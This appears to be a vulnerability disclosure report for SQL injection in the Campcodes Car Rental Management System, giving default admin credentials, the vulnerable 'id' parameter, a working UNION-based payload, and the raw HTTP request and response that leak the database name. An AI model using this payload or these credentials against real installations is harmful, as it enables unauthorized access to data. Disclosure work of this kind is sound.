

main

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bug_report / vendors / campcodes.com / car-rental-management-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

30 lines (20 sloc) | 1.26 KB

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Car Rental Management System v1.0 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.campcodes.com/projects/php/car-rental-management-system/>

Vulnerability File: /car-rental-management-system/admin/manage_movement.php?id=

Vulnerability location: /car-rental-management-system/admin/manage_movement.php?id=id

[+] Payload: /car-rental-management-system/admin/manage_movement.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16,17--+ // Leak place ---> id

Current database name: car_rental_db

```
GET /car-rental-management-system/admin/manage_movement.php?id=-1%20union%20select%2
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1
Cookie: PHPSESSID=q0aiu0hqk51vr14kivubc7u18k
Connection: close

```
GET /car-rental-management-system/admin/manage_movement.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16,17--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=q0aiu0hqk51vr14kivubc7u18k
Connection: close
```

```
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 09:15:12 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 2887
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="manage-movement">
    <input type="hidden" name="id" value="-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16,17-- " class="form-control">
    <div class="row form-group">
      <div class="col-md-8">
        <label class="control-label">Borrower</label>
        <select name="book_id" id="" class="custom-select select2">
          <option value=""></option>
        </select>
      </div>
    </div>
    <div class="" id="booked_details">
      <p>Car Brand: <b>car_rental_db</b></p>
    </div>
  </form>
</div>
```

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAL BYPASS ENCODING HTML ENCRYPTION OTHER ASST EIP

Load URL Split URL Execute

192.168.1.19/car-rental-management-system/admin/manage_movement.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16,17--+

☐ Post data ☐ Referrer ☒ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

Borrower

Car Brand: car_rental_db

Car Model: 14

Pickup Schedule: 5

Drop-off Schedule: 6

Car Registration No. 7

Car Plate No. 8

Status Picked-up